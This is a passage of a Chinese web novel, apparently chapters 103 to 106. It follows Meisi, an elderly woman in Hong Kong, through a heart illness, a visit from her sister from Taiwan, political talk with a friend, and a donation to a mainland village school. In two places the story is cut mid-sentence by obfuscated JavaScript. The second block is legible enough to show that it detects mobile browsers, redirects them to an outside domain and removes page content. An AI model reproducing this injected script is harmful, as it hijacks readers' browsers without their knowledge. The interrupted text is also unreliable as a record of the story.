对方仔细听着,连连点头,最后深有感慨:“香港政府是成熟的,特定历史时期的特殊问题,本来不须一网打尽。愤怒是容易的,振臂一呼也不难,但在这样的高呼之后,终究是要回归冷静,一个政府,应该稳健,理想主义确实鼓舞人心,但社会运转真正依靠的是现实主义,像是那些激进的知识分子,整天丢出去匕首和投枪,这样的人,倘若数量少,倒还没什么,如同牛虻一样,使人警醒,倘若多了,国家便千疮百孔。” 曹蔚然只略略听梅思提了几句,便眉头深锁:“果然是这样。” 不是自己过度敏感,方才并没有猜错,果真如此,现在就想着赦免贪腐了,中国从前偏重政治,民生困难,诚然不可取,然而现在却又完全转向,只顾经济,不在意政治,却也容易导致危机,当年的国民政府为什么倒台,莫非全忘了? 谈了两个小时,将近傍晚,曹蔚然看看手表,便要留饭:“用一点便饭吧。” 梅思见他心情不是很好,便婉言推辞:“今天有事,改天吧。” 曹蔚然心烦意乱,便也没有再挽留。 梅思回到家中,到梅林中草草吃了饭,出来正听到电话铃响,拿起听筒,那边是柏翠的声音:“小妹,你哪一天到台湾来?” 梅思笑道:“过两天我便买船票过去,拍了许多相片,都给你带去。” 柏翠在话筒那一头哈哈地笑:“辛苦你了小妹,一去两个月,可是看了个饱。用了几卷胶卷?冲洗相片的钱也不少!” 梅思道:“倒还好,在南宁洗的照片。” 终究比香港便宜一些,加上运费,也是划算的。 柏翠又抱怨:“可恨虽然解严了,仍旧不能直接回故乡,总要绕道香港澳门,什么时候能从台湾直飞桂林?” 梅思笑道:“终究会有那样一天。” 姐妹两个闲谈一阵,柏翠叮嘱她买了票马上告诉那边,早些过来,这才挂断电话。 梅思早早躺在草铺上,想着这两天暂且无事,回头虽说又要出门,毕竟是短途,也走惯了的,衣物不必怎样收拾,只带几件就好,如今先好好休息一两日,养养精神,到了台湾,又要游玩一番。 哪知到了半夜,她便感觉胸闷,再睡不安,便睁开眼来,只觉得一阵心慌,梅思抚着胸口,在草垫上翻了个身,勉强又睡着,不多时又醒来,就这样时醒时睡,好容易熬到天蒙蒙亮,梅思坐起身来,想要进入厨房烧饭,走了几步便发现,身上竟然微微有一点发颤。 晓得事情不好,梅思简单煮了面,吃过饭后连锅碗都顾不得刷洗,往洗菜池里面一丢,便出门搭车去伊丽莎白医院,到了那里,人山人海,梅思一直等到傍晚,都没有排到,快到五点半钟,护士说:“今天的看诊结束了,各位请明天来。” 巨大的失落笼罩在梅思身上,怔怔地在椅子上又坐了几分钟,毫无办法,只能慢慢站起来,拖着步子走出医院,回程实在再没力气坐巴士,便打了一辆的士,一路回到石硖尾,已经晚间七点,强撑着清洗了早间的碗筷,这边炉子上煮了菜粥,喝了半碗,觉得反胃,想要呕吐,余下的半碗粥,便放在了冰箱里,打算好做明天的早饭。 次日二十四号礼拜五,早上六点,梅思吃了几口粥,大清早便出门去,预备搭车到医院再战。 依然是打的士,美荷楼门前,彩霄看到了她:“梅姨,去联交所?” 梅思扶着车门摇头:“去医院。” “啊呀,你怎么了?脸色仿佛有些不好。” 梅思右手指着左胸口:“这里不舒服。” 彩霄犹豫一下:“你一个人能行么?” 梅思勉强笑笑:“可以的,又不是纸糊的人,这点事算什么?的士送到门前的。你快去,巴士来了。” 彩霄转身便跑去赶巴士车。 八点多,到了医院,从早上等到下午四点,好容易排到了,一个姓柏的女医生问了几句话,安排她第二天过来做胸片和心电图。 二十四号,梅思拖着沉重的身体,勉强赶在九点之前到了医院,结果却等了一整天,手表指针马上便到五点三十分,梅思本来正在心慌,担忧是不是又要给推到明天,总算护士叫道:“梅思梅小姐!” 当天她回到石硖尾,又是需要人工照明的时间,望着远近楼宇一盏盏亮起来的电灯,梅思右手抚在左胸前,蓦然仿佛回到少女时代,多愁善感。 竟然就这样到了夜晚,四周光线暗淡,心头不由得一阵迷茫怅惘,本来急匆匆,到了这里却反而不忙,反正回到家里,屋子里也是空荡荡,这些年本来一个人惯了的,只是病中难免脆弱些,想到那安静的房间,一时间便感觉有些鼻酸。 梅思深吸一口气,将脊背挺了挺,那许多风浪都经历过来,这点事算什么?迈步就走进美荷楼。 进了楼,彩霄竟等在她门前,本来在与一个男子说话:“梅姨不很舒服,我要看一看,抱歉今天不行了。” 转头便望见她:“梅姨,你总算回来,我中午下了班,本想去医院找你,人那样多,又怕找不到,便想等你回来,医生怎样说?要紧么?你有吃饭么?” 梅姨看到了她,心头一暖:“今天刚刚拍了胸片,并不是什么大事,何苦那样兴师动众,还要你找到医院去? 还没吃,回来随便煮点什么吃便罢了,你吃过了么?宣生,你回来了啊。” 说着取出钥匙,彩霄忙接过来,插入锁孔开了门。 进了门,梅思把手提包放在桌上,便要进厨房,彩霄已经抢先一步进去,问:“梅姨,要吃点什么?” 梅思见她一定要煮,想一想便说:“有酸菜和午餐肉,煮一点汤面便好了,也不需要很多,不很饿。” 回香港之后,还没有来得及好好准备食材,倒是之前泡制的酸菜,桂林故乡叫做“撩菜”的,还有小半坛,另外午餐肉罐头存有两罐,此外便是一点面线。 宣静站在门口问了两句梅思的身体,便上楼回去了。 彩霄手脚麻利地捞了酸菜,又切几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这一晚,梅思依然睡得不安,清早起床,很觉困难,一想到当天还要去医院,就一阵烦躁,好在这时候彩霄在外面敲门:“梅姨,起来了么?” 早饭之后,彩霄便扶着梅思出门坐车,早早赶到医院,梅思先坐在那里排队,彩霄便去拿胸片,这一去就好一阵没回来,想来那边也是在排队,将近十二点,彩霄也没有回来,梅思正在想,不多久总该回来,哪怕片子拿不到,两个人也该去吃午饭,忽然护士叫她的名字:“梅思梅小姐!” 前面三天倘若听到这一声呼唤,梅思别提多欢喜,此时则是心中更慌,彩霄还没有回来啊,自己进去可说什么呢? 她定了定神,刚刚说了一句:“护士小姐,先请下一位吧,我再等一等……” 这时远远地跑来一个人:“梅姨,片子拿到了!” 梅思立刻改口:“请稍等,我马上进去。” 彩霄手里高举胸片,从密密麻麻的人群中奋力挤过来,那相机胶卷一样的大幅胶片在空中摇晃颤动,仿佛一面旗帜,梅思眼望着那张X光片,就如同漫长艰难的征途中,期盼前来会师的友军。 彩霄终于到了诊室门前,两个人一起走进房门,柏医生先看了心电图,看了两分钟,说道:“是房颤。” 然后高举胸片,又仔细看了片刻,和她讲:“心肌肥厚,心腔增大,好在都不严重。原本有这样的毛病么?最近可有劳累过度?” 梅思道:“我一向心脏没有不舒服,前一阵是累了些,出门两个月。” 回了一次大陆,走了几个地方,从华南到西北,两千公里呢。 柏医生点头道:“那是难怪了。虽然向来身体健康,但在这样的年纪,如此辛劳,是容易激发心脏疾病。你好在还是初期,不需要住院,我开一点药,回去按时吃药,注意休息,饮食要清淡,过一阵大约会自行恢复,如果感觉不好,再来诊治。” 当即给她开了两样药,叮嘱她服药时间和剂量,便让护士呼叫下一位,梅思本想再多问几句,这时只得站起来腾位置。 药房前,又是好长的队伍,梅思瞥了一眼,这时候没耐心再等,与彩霄到医院门外吃了一点粥,又休息片刻,这才又回来继续等。 配药也需要几个小时,梅思实在无聊,却也无心看书,要四处走动,终究有些嫌累,便只得闷坐,烦恼之中转头看向彩霄,真是有心了,还带了素描本子过来,望着周围的人,笔下线条如同流水一般勾勒,不多时便是一幅医院写生。 梅思叹一口气:“不如不拿药了,回去门前保元堂买好了。” 彩霄转头望望她:“梅姨,这边白拿药的。” 就是大陆的公费医疗啊,虽然不是完全不要钱,但也差不多了,反正已经来了,若是身体支撑得住,还是在这里拿药的好,方才听医生解说过,房颤不严重,自从听了结果,梅姨的精神便转好,虽不能当时恢复往日精气,说话却显得有力了些,看面色也还行,应该可以再等等。 梅思一时也无语,有道理啊,自己其实撑得住,只是不想耽搁彩霄的时间,既然彩霄如此说,那么就等吧,傍晚之前总能排得到。 104.第一百零四章 旧女性遭遇新夫子 第一百零四章 旧女性遭遇新夫子 梅思确诊了心脏情况,便不能很快去台湾,当天又是很晚回来,吃过晚饭,送走彩霄,她便打电话给柏翠:“二姐,我不能过去你那里了。” “啊,怎么?”柏翠登时感觉紧张,这是出了什么事? 果然梅思这边讲:“我这几天身体忽然不对劲,也没什么大问题,只是身体无力,容易心慌,医生说要休养。” 柏翠马上便道:“开了药么?” “有药的,胺碘酮和阿司匹林,一天三遍吃药呢。” “你现在还是一个人住么?” 梅思暗暗叹一口气,隔着听筒都仿佛能看到柏翠那拧紧的眉头,无比沉重啊:“彩霄今天陪我去医院,又帮我烧了晚饭,刚刚才走的。” “彩霄是谁啊?” “从前与我合住一起的,那一家的女儿,如今同住这一幢楼。” “有她照应一下,倒是好,不过还是不能让人放心,小妹你那要强的性子,但凡以为不要紧,定然是让人家再不要来了,不行,我要过去看看你。” 这一回轮到梅思大皱眉头:“不过房颤罢了,医生说,吃一点药,好好休息,过一阵应该就好了,何必大老远过来。” 柏翠笑道:“又不是千山万水,台湾与香港,坐船不过一天,况且这么多年也没有过去看看,这一回为了探你的病,我也到香港好好逛逛,刚好还有免费的住处。” 梅思手拿话筒,望了望房间四面,七八两个月正是最热的时候,却没有装冷气机,比筲箕湾出租的公寓还要简陋,鱼师奶已经给那边装了冷气机,为的是老公夏天夜间不至于热到难眠,当然这冷气机是属于她家的,将来不租了,要拆掉带走。 好在风扇总是有的,屋顶一个大大的吊扇,白天自己在这里读书写稿子,螺旋桨一般的扇叶转动起来,发出呜呜的风声,居然很有情调,只是晚上单靠风扇却有些难捱,柏翠在台湾,这几年吹冷气已经习惯了,到这里只怕热得发慌。 柏翠晓得梅思发了心脏病,着实焦急,本来第二天就要起身来香港,只是她在高雄的家毕竟事情多,不能说走便走,于是用了两天时间安排,到二十九号上了船,三十号来到香港,并不要梅思来接,自己搭的士便来到石硖尾,站在美荷楼前,已经是午后两点,虽然是七十岁的人,柏翠腿脚还利落,二楼也不高,几步就到了上面,找着门牌号,拍门叫人:“妹妹啊,我来了!” 过了两分钟,里面开了门,梅思清瘦的脸出现在面前,柏翠盯了两眼:“啊哟小妹,你这一张脸,好像给门缝夹了那么的细!” 瘦成一条条了! 梅思噗嗤一笑,做手势请她进来:“哪里就瘦成那样?这两天我觉得还胖了些。” 柏翠拖着行李箱,便进了门,撇撇嘴说:“才三四天,便胖了?” 梅思给她倒水,懒懒地说:“每天吃了饭便是躺着,自然就胖。” 柏翠道:“自己烧饭洗碗也要受累。” 梅思一笑:“早饭面包鸡蛋,午饭和晚饭让外面送来,大快活的猪扒饭蛮不错,塑胶饭盒顶好,吃过了连碗都不必洗了,直接塞到垃圾桶里,每天早上彩霄帮我丢一次垃圾。” 听她说得活灵活现,柏翠不由得也要发笑:“你现在是养尊处优,过上清闲日子了,我从前只是看着你,都觉得心里急。” 又是延安又是桂林,总不能消停的,瞧她这个折腾。 不过却也说不得她,自己本来是军官太太,却也过了好一番苦日子,尤其是来台湾之后,有一阵那个苦啊,便也不想再指点小妹,自家的小妹是仿佛有些“不自量力”,然而自己“顺天应命”,却也未能保了平安。 梅思抿嘴直笑:“我如今是想开了,已经这个年纪,可该好好歇歇,再不能像从前,没日没夜的了。” 这一病,居然想起了许久之前读过的小说,《歧路佳人》,里面小眉的姐姐,名字记不得了,好像也带个“眉” 字,确诊了房颤的第二日,梅思夜间躺在那里,蓦地便想起这位多病的才女,将死之前的几句自嘲,以前省吃俭用,如今病了,总算开始享受,各种营养药,鱼肝油维她命之类,仿佛当初的辛苦都要在此时弥补,然而却已经是最后的时光。 此时与柏翠闲谈,梅思又想起这个话头,正在内心感叹:“我反正已经努力够了,无论是为了妇女解放,还是为了我自己,都尽力了,如今该我休息一下,这些事情就留给后来的人吧。” 却见柏翠从行李箱中取出一个玻璃瓶:“这是蜂乳,你每天吃两勺,补养身体的。” 梅思两眼登时有点发直,这是中国传统的营养品,维他命鱼肝油都是舶来的,西洋的东西,算是一东一西吧。 虽是这样想着,梅思却如同给人按了开关,自动伸手接过瓶子,开冰箱放进去,蜂乳娇贵得很,需要冷藏保存,不然便没了效力。 柏翠一件件取着东西,找地方摆放起来,还问梅思:“洗衣服怎样办?是你自己洗么?” 梅思斜靠在床头,摇了摇头:“彩霄帮我洗,反正我都是在家里,也不需要怎样换衣服,内衣我自己能洗的。” 柏翠这才稍稍放心:“那倒是还好。我说小妹,等你这身体好一些,可得添一个洗衣机,房子虽然小,想办法腾挪,总能有个地方放,不然手洗累人啊!” 这时代年轻人都喜欢用洗衣机,更不要说已经是这个年纪。 梅思笑一笑:“到那时再说吧。” 柏翠瞥她一眼,差一点便要说出:“我猜你依然是不会买的。” 晚间将近七点,彩霄照例过来探望,柏翠一见她,把手边的饭碗一推,笑道:“这些天多多有劳你。” 彩霄笑着说:“我小的时候,梅姨很照应我。阿姨一路辛苦,我来洗碗吧。” 有了柏翠在这里,梅思心情放松,之前虽然有彩霄照应,但彩霄早出晚归,又不住在一起,晚间只是她一个人,病中难免落寞,如今柏翠来了,日夕有人陪伴,梅思感觉安慰了许多。 柏翠十分细致,把她照料得周周到到,不过五六天时间,梅思便感到身体清爽了些,有力气谈天。 这一天柏翠歪坐在椅子上,手搭着扶手,笑眯眯地问:“大陆那边怎么样?看照片倒是还行了。” 当然比不得台北,不过也不很穷困的样子,街上许多自行车。 梅思在脑中搜索一下:“很偏僻的山村还是没有电,本来要写信去问问,回来后这一向没力气,便拖延了。” 柏翠笑道:“地方那么大,这倒是不怪共产党,在台湾,阿美人的地方,有些也还不通电呢。” 见她如此表示体谅理解,梅思胸中一宽,说出心事:“新中国的师奶,只怕也要出现了。” 柏翠眉毛登时一挑:“这话怎么说?” 梅思便把回香港之前,在南宁听到的“半边天新解”约略说了几句,悄悄观察柏翠的表情。 柏翠起初是好奇的,片刻之后便专为讥诮,一脸冷嘲热讽:“‘半边天’顶不住了啊!我就说么,都不过是肉体凡胎,浑身是铁能捻几根钉?家里外面两头烧,多粗的蜡烛也要成了灰,解放呀,解放呀,说得好听,像这样子解放,也要累死人。不必问,你那时定然也没有说什么,我猜得对不对?” 梅思起初脸上有些火辣辣,听她这最后一句问话,倒笑起来:“又不认识,能说什么呢?” 柏翠猛眨一下眼睛:“愿不愿意说话,原未必一定在于识得不识得,不过小妹,你这样子倒好,还是省下这口气,保养自己身子吧。” 早就该这样了,自家的小妹,这些年总算变得圆滑,当初到高雄,说起香港的师奶,自己便问她,可有对那位鱼师奶说些什么?小妹说,没有很多话好讲,两个人谈论持家理财,鱼师奶也买股票,所以这些新女性,其实也油滑得很,眼看着人家当了师奶,一句话都不劝劝的,这种时候就不说什么女性解放,社会职业了。 生怕柏翠旧事重提,梅思笑着忙转了话题,说起美荷楼不能装冷气机:“大家都在说,虽然当年建楼,没有留出机器的位置,不过窗机想想办法总能够装的,不然夏天闷热得很,只靠风扇不济事,正在向委员会递申请书。” 柏翠连连点头:“实在是热,这样天气,吊扇的风都是热的,你这心脏,除了怕累,也怕热,看你这一头的汗,那管委会真是的,房子是死的,人是活的,就不能伶俐一点?窗机小小的,找个架子托着,总能装得上。只是你也忒老实了,虽然这屋邨不让装冷气机,我看有人也在用,窗户上好大一个呢,你就不能变通变通?” 梅思道:“规则总是要守的。” 柏翠撇嘴:“我看你还是心疼钱,宁可这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922841|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熬着。” 自家小妹这多年不装冷气机,不全是为了省钱,她这边有规定,像是美荷楼这样的老楼,不准许用冷气机,不过仍然有人偷偷地用,要说小妹还是延安的老传统,重视规则纪律,倒也是可能的,只是柏翠猜测,她多半还是为了怕花钱,省吃俭用啊,若不是这场病,到最后都不知便宜了谁。 说话间忽然电话铃响,柏翠一摆手,阻住了正要起身的梅思:“我去听。……哪位?曹生?哪一位曹生?” 梅思这时已经下了床,走过来接过听筒:“曹生,我是梅思,方才是我姐姐听电话……啊,要再看看照片吗?我这一阵身体不大好,等过几天给你送过去……你明天要过来吗?不是什么大不了的病,就只是心脏有点不舒服,休养了这么一阵,已经好多了,不要担心……” 挂断电话,柏翠便问:“那个曹生,找你要照片做什么?” 梅思笑道:“他在写一本关于大陆的书,要几张照片来用,上一次留下几张,不很够用,想再挑一挑。” 柏翠哼了一声:“他倒是很会取巧,别人拍了照片,他来用,你不如自己写一本,免得像这样‘为人作嫁’。” 梅思哈哈笑道:“姐姐啊,不必这样计较,曹生这些年,也帮了我许多忙,给他用用照片,没什么大不了,况且我如今这样的身体,你还盼着我写书呢?不是说要我多多休息?” 柏翠松开眉头,也笑起来:“那倒也是的。啊呀明天曹先生要过来,得烧几个小菜,明天一早我就去买菜。” 第二日上午十点,曹蔚然果然提了一袋水果,来看望梅思,先问了几句病,见梅思面色还好,并不是自己之前想象的苍白,而是隐隐透着红润,想来确实没有大的妨碍,便放下心来,尽情谈论梅思的大陆行:“那一回匆匆忙忙,许多话没有说,今天要再谈谈,经济建设确实是成功的……” 谈了一阵,便说到妇女政策,柏翠忙忙插一句口:“听小妹说,大陆只怕也要流行香港的师奶……” 曹蔚然瞥她一眼,面色有些僵硬,梅思的这位姐姐,是从台湾来的,政治倾向可想而知,纵然她自身原本没有什么观点,跟着丈夫,总有沾染,于是曹蔚然断然道:“这就是革命潮水退去的结果,马克思主义在中国,是挫败了,在苏联,我看也前途不妙,然而社会主义的失败,损失的是谁呢?是全世界!我们等着看吧,旧的一切都会重新回来,会更加黑暗。” 面对他这如同神谕一般的断言,柏翠微微一笑,没有再说什么,伸出筷子夹了一块鱼肋肉,放进梅思碗里:“小妹啊,吃鱼。” 转头又夹一块肉给曹蔚然:“曹生,吃叉烧,这香港的叉烧啊,真是好,在台湾少有这样正宗的广东叉烧。” 当天下午,送走了曹蔚然,柏翠关了门,回过头来对着梅思,很不服气地愤愤道:“真是骄傲,马克思败了,所有人就都败了?我看马克思那一套是不能救中国,起码不能救中国的妇女,看他那副神气,倒不像学者,好像个算命的。” 梅思笑道:“姐姐对曹生是很不耐烦的了。” 柏翠依然绷着脸:“真搞不懂你怎么会和他当朋友这么多年?我是一刻也耐不得,那一班老夫子,我知道他们满心想的是三从四德,只是这些新夫子,引的路也未必是好的。” 梅思抿嘴笑着说:“姐姐啊,曹生人是不错的,大家除了政治,还可以谈些别的。你现在如此激进,简直好像延安的女同学。” 柏翠也失笑:“我可不会去延安。” 梅思走到桌边,慢慢收拾碗筷:“姐姐方才那几句话,倒有点像《歧路佳人》里面,小眉的妈妈。” 柏翠的兴趣登时提了起来:“哦?她说了什么?” 梅思略想一想:“不太记得了。” 除了不信苏维埃,还有些其她的,确实淡忘了,不过总归有些愤世嫉俗便是了。 柏翠笑眯眯:“等我回去了,可要找一找。” 这时电话铃又响,梅思离得近,抢先接起来,“喂喂”两声,说了几句,挂了电话,转回头笑着对柏翠说:“明天又有客人来,这一位客人,定然合姐姐的脾胃。” 柏翠的兴致马上便给吊了起来:“是谁?是谁?” 梅思笑道:“见了面自然知道。” 柏翠把一堆碗碟往厨房里搬,笑骂道:“你这个家伙,成心让人着急!” 105.第一百零五章 白明珠听风就是雨 第一百零五章 白明珠听风就是雨 柏翠在香港住了两个礼拜,到八月中旬,见梅思基本没有大问题,便要回去了。 八月十四号礼拜五,上午的码头上,梅思与白明珠一起送别柏翠。 白明珠拉着柏翠的手,那是一个依依不舍,自从那一回白明珠来家中探访,与柏翠便成了莫逆,简直相见恨晚,此时相约今后时时写信打电话。 送走了柏翠,梅思回到石硖尾,推开房门,屋中静悄悄,习惯了柏翠的声音环绕,如今她走了,一时间有些怅然,不过梅思很快调整了心情,病了这么久,很多事都耽搁了,房间里倒是没有太多需要收拾,柏翠临行之前,已经帮自己打理好了,各处都擦拭得干干净净,只是梅林中实在需要料理一下,菜畦这几个月只是抽空看看,现在要除一除草,免得野草淹没了青菜。 做这又做那,不知不觉便到了傍晚,梅思回到外面房间,灯光下伏在案头,时停时续写了一阵书信,看看已经九点,已经感觉疲倦,便拿了两条毯子,重又回到梅林,旧毛毯铺在干草铺上,比较新的薄毯搭在腹部,预备睡觉。 外间真的是热啊,不过梅思一直没有买冷气机,倒不全是为了多么能耐热,每到夏天,夜晚她便挪进梅林中休息,山间风凉,白天光线明媚,让人很是愉悦,到了夜里,温度便降了下来,梅思在林间搭起一个帆布帐篷,没有雨的时候,就睡在这里,很是凉爽。 夏季最是酷热的时候,只凭风扇的确是不成,柏翠这十几天,热得身上起痱子,擦了痱子粉,也是不顶用,所以柏翠在这里顶了两周,很是不易,是该回去了。 第二天礼拜六,又是写信,这一封信其实不很长,却断断续续连写了三天,直到礼拜天的晚上,梅思抛下了笔:“便这样吧,再要好,我也实在不能了。” 十七号礼拜一的清晨,梅思匆匆出了门,却先不忙寄信,而是搭乘巴士,直奔联交所,到了那里,也不看价格,直接便要卖掉提款。 交易员对着计算机屏幕,很是讶异:“真的要这样吗?今年以来,都涨得好极了,最近还在涨,虽然我不该这样说,不过有可能过四千点的,您却要卖出这样大的数目,七万元啊!” 梅思点点头:“我有事,急等钱用。” 交易员暗暗心疼,真是可惜,直线上涨啊,这七万块再等两个月,只怕能赚出三四千元,然而却要急急卖出,倘若不是家中发生严重的变故,怎么会如此匆忙?所以才说,平安是福,否则的话,紧张焦虑是当然的了,此外却也破财。 股票卖出,要第二天提款,十八号礼拜二,梅思拿到钱,到银行填了两张汇款单,一张给钟坤,另一张给陈露云,回到家便打电话到南宁:“露云,我汇了钱到你那里,六万元,塘村的小学校太破败了,这笔钱给她们重修一下校舍,添一些桌椅课本,倘若不够,你告诉我,我再寄钱过去。这件事便拜托你,我再去不便,全靠你了,让你受累。” 陈露云坐在客厅茶几旁,手握着听筒,虽然有些意外,却也不十分惊诧,近年来归国的华侨,常有此举,当初送老同学离开南宁,便猜测到她可能会这样做,如今果然如此。 陈露云便笑道:“怎么这样客气?你这样大数目的捐赠,是应该我感谢你才对,怎么你却要向我道辛苦?黄菲同志,你虽然人在香港,却为祖国做出贡献,我代表塘村人民,向你致谢!” 两个人又说了几句,陈露云要她放心,塘村小学的事,她会负责,盯着当地把每一分钱都用在学校上面,绝不会辜负梅思,等学校建好,梅思如果能来,便主持剪彩,若不能来,她拍照寄来给梅思看。 梅思汇款过去,自觉心头一件大事了结,六天之后,二十四号礼拜一,东妹提了一袋水果过来:“今天处暑呢,还要热一阵。” 两人闲谈,梅思乐呵呵便说:“总算做了一些事情,心里轻松了。” 东妹下午回去,不等到烧晚饭的时间,电话铃声便响起,梅思忙把洗好的青菜放在水池中,快步走进厅中,抄起电话一听,对面是白明珠的声音:“梅小姐,你要回桂林养老了?” 声音实在太响,梅思不得不把听筒拿得远一些:“白太太,你从哪里听来?” 白明珠一串话如同爆豆:“倘若不是为了这个,你捐那么多钱做什么?六万元啊,港币对人民币,哪怕按官价折一半,在那边也是三万块,三个‘万元户’呢,你投这样大一笔钱进去,不是为了回乡养老,是为什么?梅小姐,我早就说,倘若能回故乡,还是回去的好,香港什么都贵,平安无事倒还罢了,倘若哪里不舒服,等进去医院,坟头草都三尺高,你幸好是向来康健,没有大问题,这一次虽说心脏难受,却也休养过来,倘若是像我们这样,整天这里痛那里痛,三灾八难的,可有得煎熬,我先生这一阵前列腺出毛病,上厕所便痛……看一看大夫人,她若不是回了桂林,在美国可不容易,未必能到现在,九十多岁了呢,在祖国,待如上宾……” 梅思揉了揉额角,好容易等到白明珠话语终于有了间隙,她插一句:“白太啊,我这一次只是为了回报故国,我们毕竟不是大夫人,归乡不易。” 电话那一端登时哑然,眼前仿佛可见白明珠拿着话筒,僵坐在沙发上的画面。 虽然对故乡万分怀想,两眼紧紧地盯着李秀文夫人,不过却也知道,并不是每个人都可以当成大夫人,有那样好的对待。 中共这可真的是,“千金买马骨”,李宗仁将军与郭德洁女士早早地便都作了古人,在世的唯有大夫人,就是一个活招牌,她回国,天时地利,又有人和,家族许多亲人都在,早年亲近的姪子很能够照应,可以代替儿子,赡养她的晚年。 于是梅思幽幽地又说了一句:“我纵然有心要回去,政府的照顾可以不要,却有谁能够陪伴我呢?” 这一回故乡之行,着实见了许多旧时友好,吴美霞自己也见到了,还是在桂林,哲清也已经人到中年,是一个成熟的知识分子,不过再见面,却少了当年的亲切,美霞姐对自己还热情,哲清却已经显得陌生,坐下闲谈往事,也勾起一些回忆,终究难以激发昔日的感情,已经四十年过去了啊! 当时即使再怎样的患难与共,深情厚意,这么多年,也早已淡去,更何况哲清那时还是小孩子,本来就不像大人这样记忆深刻。 哲清与自己毕竟没有血缘关系,那么宝凝呢?当年在平乐老宅子里,总是黏着自己,多年之后再见面,那份情感也已经褪色,只是终究是姑姪,有一份血缘亲情,天然的一份羁绊,这些年自己每年去台湾,亲人见面,渐渐熟络,然而梅思心里明白,要依靠宝凝照顾自己的晚年,也是不现实的。 只这三两句话,白明珠在那头,无数念头在脑中翻滚,她并不是一个天真的人,以为李秀文夫人得到的,自己也能够得到,回到祖国,可以好像大夫人一样,受到如此重视,仿佛大熊猫一样,中国的大熊猫啊,这些年越来越给人知道,实在宝贵。 只是在香港住得越久,思乡之情便越强烈,尤其人到暮年,对故乡的眷恋简直成了一种病,不分昼夜地折磨。 人在这个年纪,生理上逐渐衰败,身体这样那样不适,心理上也经受着苦痛,身心双重磨难,让人很感觉疲倦,所以便不由得要把大夫人的境遇当做慰藉,然而白明珠心里也明白,自己的丈夫并不是权力中心的人物,只不过是沾到了一点边,给权力的光圈笼罩而已,比较的边缘,没有那样举足轻重的地位,所以倘若回归故乡,未必受到许多关注。 所以今天听东妹说,梅小姐给故乡捐了款,白明珠第一个反应便是:“她要回家了,她要借着金钱的助力,回家乡去了!” 这也是自己反复思量过的,既然政治上没有那么大的影响,倘若要人老归乡,便只得借助钞票的力量,这些年在香港,毕竟攒了一些港币,中国虽然改开了几年,底子终究不是很厚,现在中共满口提“经济建设”,“四个现代化”,那就需要钱啊,这个时候带着钱回去,“回报家乡”,纵然算不上“招商引资”,有这样一笔钱也是好的,当地的政府怎会不另眼相看呢? 只可惜哪怕自家肯出钱,还有另一个难题,回了桂林,谁来照料呢?以自己的这点身家,要公家太多关照是不容易了,不会安排专人照护,自己的三个儿女 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果然给自己寄钱过来,虽然没有明确说明数目,但从外面回来的人,出手多半大方,更何况梅思是一个如此重感情的人。 这件事触动自己的神经,除此以外,梅思信中还说,很抱歉这样迟才写信来,本想回到香港立刻写信,然而回去之后便身体不舒服,休养了一阵,如今才好一点,病中格外思念故土,大夫人能够回去,实在有福。 钟坤深深地呼出一口气,啊,如果这种时候,自己能够在梅小姐身边,该有多好。 这样的念头不是第一次发生,当初听到梅小姐谈起,这些年在香港的惊险经历,自己就由衷希望,人生能够如舞台剧一般,有不一样的编排。 倘若当年自己听从了梅小姐的建议,早早脱离军队,回到故乡,与梅小姐会不会可以很快再见?两个人是否可以一同来香港?外乡人初来到此,自然艰难,自己那时便再讲不得是读过书的人,从前又是军官,已有准备从最苦的事情做起,到码头做苦力,扛货包,香港龙蛇混杂,只怕不在上海之下,那种情形之下,哪怕是加入帮派,也说不得了。 不过自己是绝不甘心一生当苦力,在码头讨生活,只要站稳脚跟,喘过一口气,便要另觅出路,并不是自负,钟坤晓得自己,有头脑也有恒心,肯吃苦,只要有机会,一定能够有所作为,纵然不能够成为风云人物,但总能有比较好的生活,绝不会让梅小姐像现在这样,一直住在石硖尾,而无论是贫困、危险还是疾病,自己都一直会陪在梅小姐身边,不会让她孤单一个人。 当然,钟坤也明白,自己并不是只为了梅小姐,才想要改变人生的道路,有几个人是抱有如此纯粹的情怀呢?自己从心底深深想要改变的,其实是自身的命运。 四九年之后的中国,就如同一个铁屋子,自己给关闭在这里,一丝新鲜空气也透不进,想破了头也找不到办法振作,半生时光就这样蹉跎,如今垂垂老矣,更是毫无希望,从前每当想到这里,钟坤一颗心刺痛。 这几年仿佛好了一些,那种强烈的遗憾与怨恨稍稍变淡,再次回想自己的一生,尤其是可能的另一种命运,已经不再像当年那样痛心疾首。 可能痛得太深太久,人便会迟钝,对痛苦的感觉没有那样敏锐,只心里疼一下,也就过去了,否则那样长久深切的痛楚,又怎么受得了呢? 只是那一次见了梅小姐,所有的怅惘又从心底泛起,波澜激荡,钟坤忍不住一遍又一遍设想一幅画面,三十几年前,自己脚边放一只藤箱,梅小姐穿着阴丹士林旗袍,颈上一条雪白的流苏丝巾,两个人并肩迎着海风,手扶船舷,站在去香港的船上。 就在这时,忽然间有人拍门,大叫着“钟伯”,钟坤匆匆把信压在枕头下面,过去开了门,村中的邮递员,张老六站在门口,手里举着一个信封,龇着黄板牙直乐:“钟伯,又有信,银行发来的呢!是钱么?” 钟坤接过信封,关了门点起油灯,拆开挂号信,里面是一张洁白结实的汇款单,港币一万元,那数字印在眼底,清清楚楚。 钟坤的手颤抖,这笔钱实在烫人。 106.第一百零六章 旧人渐渐远去 第一百零六章 旧人渐渐远去 香港的夏季,漫长而炎热,好容易到了十月。 梅思这一天清早,推开窗子望向外面,一阵风吹来,清爽啊,与盛夏燠热的风完全不一样,那样的风,根本不能给人缓解燥热,倒是让人更热了,就如同柏翠说的:“热风一过,寒毛都给人烤焦,帮着烤肉呢。” 现在可好了,十月的香港,是真正有了秋天的影子,风吹过来,不再如同从熔炉里吹出,而是真正清凉,这一个酷暑,总算又熬了过去。 